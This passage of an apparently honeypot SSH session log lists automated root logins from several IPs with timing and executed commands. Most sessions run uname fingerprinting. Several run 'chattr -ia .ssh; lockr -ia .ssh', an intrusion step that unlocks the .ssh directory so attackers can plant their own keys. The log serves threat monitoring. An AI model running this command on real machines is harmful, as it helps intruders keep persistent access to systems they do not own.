  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 1080,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T14:00:21.962087+00:00",
  "ended_at": "2026-08-26T14:00:26.917413+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "8e22d17c-2cb6-4374-aed2-bce8aa2491da",
  "name": "rugged-frugal-stork",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 40674,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 645,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:59:25.763853+00:00",
  "ended_at": "2026-08-26T13:59:29.536375+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "33133f18-e358-4bd9-a365-b9d4cfcb6316",
  "name": "candid-pristine-roebuck",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 38622,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 567,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:58:57.723250+00:00",
  "ended_at": "2026-08-26T13:59:03.577278+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "9f4c30d4-563a-495a-9bb5-db8821aeb5a9",
  "name": "fleeting-quiet-turnstone",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 46944,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 382,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:58:23.899992+00:00",
  "ended_at": "2026-08-26T13:58:29.137292+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "9251107b-c43d-4a93-bff6-bb73f542edcc",
  "name": "feathered-bitter-gerbil",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 55064,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 644,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:57:14.609882+00:00",
  "ended_at": "2026-08-26T13:57:19.996733+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "ac6df03a-2a99-40d6-8160-ed0c5d06c656",
  "name": "quiet-serene-siskin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 52180,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 486,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:56:05.734485+00:00",
  "ended_at": "2026-08-26T13:56:09.920374+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "59302a61-2612-4208-880c-57bc9e169e91",
  "name": "windswept-airy-jerboa",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "157.245.34.56",
  "src_port": 56754,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 290,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T13:55:48.892489+00:00",
  "ended_at": "2026-08-26T13:55:50.492556+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2194
 },
 {
  "id": "26f2a77d-6806-41d5-88e4-f9344e2d32b9",
  "name": "obsidian-fabled-whimbrel",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "157.245.34.56",
  "src_port": 56760,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:55:21.718133+00:00",
  "ended_at": "2026-08-26T13:55:23.332424+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "ad44b8f2-be6d-4783-b449-c007a3692db6",
  "name": "kindly-fearless-catbird",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 37188,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 443,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:54:17.948351+00:00",
  "ended_at": "2026-08-26T13:54:20.745586+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "dd5e4e92-0ded-4306-9e2a-111e713d26ce",
  "name": "cunning-brisk-llama",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 46506,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 491,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:53:57.831090+00:00",
  "ended_at": "2026-08-26T13:54:00.613090+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "0703d6cd-6b1c-4625-b50a-b993cb6255c2",
  "name": "languid-feral-lynx",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 51926,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 355,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:52:19.781087+00:00",
  "ended_at": "2026-08-26T13:52:22.699606+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "ab0884ed-70ed-4e44-9281-8cc7f2dfab83",
  "name": "coral-gloomy-falcon",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 34094,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 474,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:50:14.045135+00:00",
  "ended_at": "2026-08-26T13:50:19.074443+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "50d501c0-7cb2-48cc-b8e4-6683c042d604",
  "name": "stoic-coral-mongoose",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 54878,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 709,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:50:06.150250+00:00",
  "ended_at": "2026-08-26T13:50:09.419632+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "6e24c3f8-99c5-4d18-b095-14b6b033502d",
  "name": "pleasant-tranquil-gerbil",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "157.245.34.56",
  "src_port": 60196,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 301,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T13:49:41.900181+00:00",
  "ended_at": "2026-08-26T13:49:43.221617+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2159
 },
 {
  "id": "e3d7fc27-f60c-4692-9894-6a413fbdbe25",
  "name": "lofty-quartz-cuckoo",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 37016,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 406,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:49:37.995054+00:00",
  "ended_at": "2026-08-26T13:49:42.000917+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "27957376-b113-4393-b5b5-a655e0bf295e",
  "name": "ginger-arctic-mink",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 52330,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 489,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:49:21.646119+00:00",
  "ended_at": "2026-08-26T13:49:26.313801+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "e4316dea-2fa3-480e-8f81-b8e43823b127",
  "name": "icy-seaward-stork",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "157.245.34.56",
  "src_port": 60212,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:49:16.475061+00:00",
  "ended_at": "2026-08-26T13:49:17.781965+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "72a71825-a8b7-42f7-a352-ce148420377e",
  "name": "quartz-sleepy-seal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 48618,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 587,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:48:55.062946+00:00",
  "ended_at": "2026-08-26T13:49:00.190339+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "6086b688-1a2b-44b4-a24a-ae5d241b2fc6",
  "name": "glacial-painted-koala",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 44970,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 319,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:48:52.822122+00:00",
  "ended_at": "2026-08-26T13:48:58.237440+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "8975d5a0-5120-48c9-82cd-d0b0e5b7cf72",
  "name": "diligent-watchful-chinchilla",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 49720,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 571,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:48:16.381686+00:00",
  "ended_at": "2026-08-26T13:48:20.267617+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "611ce416-a9d7-4353-b67c-3e4589581e8b",
  "name": "chilly-tangled-pochard",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 40210,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 623,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:46:50.038043+00:00",
  "ended_at": "2026-08-26T13:46:53.278726+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "42747c61-2470-46f3-887f-24b4789f3c36",
  "name": "ancient-dutiful-shrike",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 44534,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 364,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:46:42.328052+00:00",
  "ended_at": "2026-08-26T13:46:47.142433+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "c52aaa41-8fe9-4486-9d31-63722580895e",
  "name": "lofty-dusty-martin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 50518,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 627,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:45:24.157503+00:00",
  "ended_at": "2026-08-26T13:45:29.570756+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "8ec323c6-a000-4f62-a276-91fe059f81ca",
  "name": "supple-painted-condor",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 38116,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 329,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:45:02.405518+00:00",
  "ended_at": "2026-08-26T13:45:05.691780+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "7174fda1-315e-4d85-be7e-621af5c57b3e",
  "name": "autumn-craggy-weasel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "103.167.89.222",
  "src_port": 51900,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 925,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T13:44:17.298460+00:00",
  "ended_at": "2026-08-26T13:44:18.623063+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "439322a1-5c09-4c0e-ab8a-e2b8ec532e3c",
  "name": "golden-proud-gibbon",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.167.89.222",
  "src_port": 51920,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:43:49.103754+00:00",
  "ended_at": "2026-08-26T13:43:50.445943+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "42543b63-fc4b-40b7-9a13-ec41d327ec93",
  "name": "fickle-rugged-stork",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "157.245.34.56",
  "src_port": 59310,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 297,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T13:43:44.740814+00:00",
  "ended_at": "2026-08-26T13:43:46.271835+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2128
 },
 {
  "id": "83fa7bc5-5eaa-4c2b-a58f-e06fa28ddcd0",
  "name": "early-rapid-dormouse",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "157.245.34.56",
  "src_port": 59320,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:43:28.974452+00:00",
  "ended_at": "2026-08-26T13:43:30.495706+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "c6509a8d-b04c-4481-9ce1-4b3ace67c82f",
  "name": "vivid-crystal-egret",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 57172,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 594,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:43:01.086836+00:00",
  "ended_at": "2026-08-26T13:43:04.493309+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "c93a8bb9-63df-4b8b-ac91-227cadb0251c",
  "name": "dappled-forlorn-gibbon",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 33212,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 461,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:42:17.884163+00:00",
  "ended_at": "2026-08-26T13:42:22.688263+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "c53200e5-5cae-4ed8-8c7e-b05daed43c74",
  "name": "burly-regal-skua",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 59328,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 716,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:41:18.208467+00:00",
  "ended_at": "2026-08-26T13:41:23.461382+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "858a0932-be08-43d0-afe3-adec50fe91cb",
  "name": "loyal-lucid-civet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "103.167.89.222",
  "src_port": 51696,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 934,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T13:41:01.736509+00:00",
  "ended_at": "2026-08-26T13:41:03.499969+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "fc5f5d03-7a4d-422b-b5d1-5c2ec841e4ff",
  "name": "quaint-dusty-sparrow",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.167.89.222",
  "src_port": 51712,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:40:30.914460+00:00",
  "ended_at": "2026-08-26T13:40:32.949886+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "6915dcbe-f477-4ce2-bea2-9dd874d6fe6b",
  "name": "verdant-marine-bonobo",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 45396,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 514,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:40:20.829920+00:00",
  "ended_at": "2026-08-26T13:40:26.004872+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "4639407a-a989-4eef-b216-2c9d52afc280",
  "name": "grassy-austere-gull",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 46238,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 383,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:39:46.272192+00:00",
  "ended_at": "2026-08-26T13:39:51.229000+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "74c0328f-8e7f-4362-8152-d05cd1328e7c",
  "name": "emerald-quiet-adder",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 49378,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 609,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:39:31.876628+00:00",
  "ended_at": "2026-08-26T13:39:37.440030+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "3ac92470-7b56-4e06-8d34-2719c402b5b7",
  "name": "glassy-sooty-lynx",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 47942,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 361,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:39:23.093932+00:00",
  "ended_at": "2026-08-26T13:39:28.029634+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "b4c12d8f-201d-4053-97cf-94607f67f89c",
  "name": "gallant-ginger-hamster",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 47612,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 541,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:38:56.880642+00:00",
  "ended_at": "2026-08-26T13:39:01.564047+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "c5c3995a-a122-4f88-abe3-2292e676f710",
  "name": "lanky-canny-sparrow",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 33946,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 375,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:38:37.578161+00:00",
  "ended_at": "2026-08-26T13:38:41.312714+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "d203dc85-1451-4507-9099-074a2fd4c9cd",
  "name": "fierce-plucky-addax",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 55968,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 544,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:38:32.605856+00:00",
  "ended_at": "2026-08-26T13:38:39.031220+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "24f52a97-f313-4ff1-aae7-7f248304a5d4",
  "name": "tangled-placid-vole",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 58296,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 637,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:38:09.795136+00:00",
  "ended_at": "2026-08-26T13:38:15.269703+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "6ab027d5-570c-44cc-ba48-b115e3f0a633",
  "name": "gloomy-early-wallaby",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "168.167.228.123",
  "src_port": 40594,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 750,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T13:38:07.941746+00:00",
  "ended_at": "2026-08-26T13:38:08.705878+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2093
 },
 {
  "id": "2e6ab4f2-5c43-44b7-8a43-6a8a45489a82",
  "name": "blazing-sunlit-cheetah",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "168.167.228.123",
  "src_port": 40596,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:37:52.620123+00:00",
  "ended_at": "2026-08-26T13:37:54.409641+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "683bbd50-f94d-4445-acb3-4c10862e20cb",
  "name": "muted-painted-goose",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 42476,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 548,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:36:53.976202+00:00",
  "ended_at": "2026-08-26T13:36:56.948416+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "5ed4c55e-6a39-4608-a235-8340cc8edd47",
  "name": "oaken-brazen-elk",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 39476,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 532,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:35:57.070017+00:00",
  "ended_at": "2026-08-26T13:36:01.387334+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "1876790d-862f-4cd2-b929-ae4e4ceea829",
  "name": "smoky-amber-hornbill",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 40724,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 478,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:35:29.539177+00:00",
  "ended_at": "2026-08-26T13:35:33.165397+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "2496f8ca-7764-4140-905d-fccfbd7640ee",
  "name": "sterling-noble-owl",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 56380,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 518,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:34:44.786867+00:00",
  "ended_at": "2026-08-26T13:34:47.722309+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "227a157c-0e69-4850-9f8c-7bed3685cbb8",
  "name": "quiet-orderly-badger",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "157.245.34.56",
  "src_port": 52056,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:34:05.815230+00:00",
  "ended_at": "2026-08-26T13:34:06.918161+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "3e0aa234-fb60-4ca1-b9e6-6be606cee2e8",
  "name": "smoky-glassy-bunting",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 38224,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 494,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:33:49.961136+00:00",
  "ended_at": "2026-08-26T13:33:54.341728+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "433b93e2-c095-4d86-be2b-096e607cb0ca",
  "name": "tranquil-steady-petrel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 45804,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 480,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:32:37.642060+00:00",
  "ended_at": "2026-08-26T13:32:41.103782+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "03dc0126-d6b3-433e-be1b-ea68a512d37e",
